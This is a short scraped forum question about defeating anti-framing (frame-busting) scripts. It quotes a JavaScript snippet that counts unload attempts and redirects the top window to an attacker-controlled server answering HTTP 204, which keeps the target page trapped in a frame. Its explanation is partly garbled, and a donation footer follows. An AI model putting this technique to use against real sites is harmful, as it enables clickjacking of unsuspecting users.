I haven't been able to find much of an answer yet, so I'm just going to ask.
How difficult would it be to stop a frame breaker from working - or even just ignore it?
As per Jeff's question:
As it turns out, your frame-busting code can be busted, as shown here:
<script type="text/javascript">
var prevent_bust = 0
window.onbeforeunload = function() { prevent_bust++ }
setInterval(function() {
if (prevent_bust > 0) {
prevent_bust -= 2
window.top.location = 'http://server-which-responds-with-204.com'
}
}, 1)
</script>
This code does the following:
window.onbeforeonload
event handlersetInterval()
, and if it sees the counter incremented, changes the current location to a server of the attacker's controlIf you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With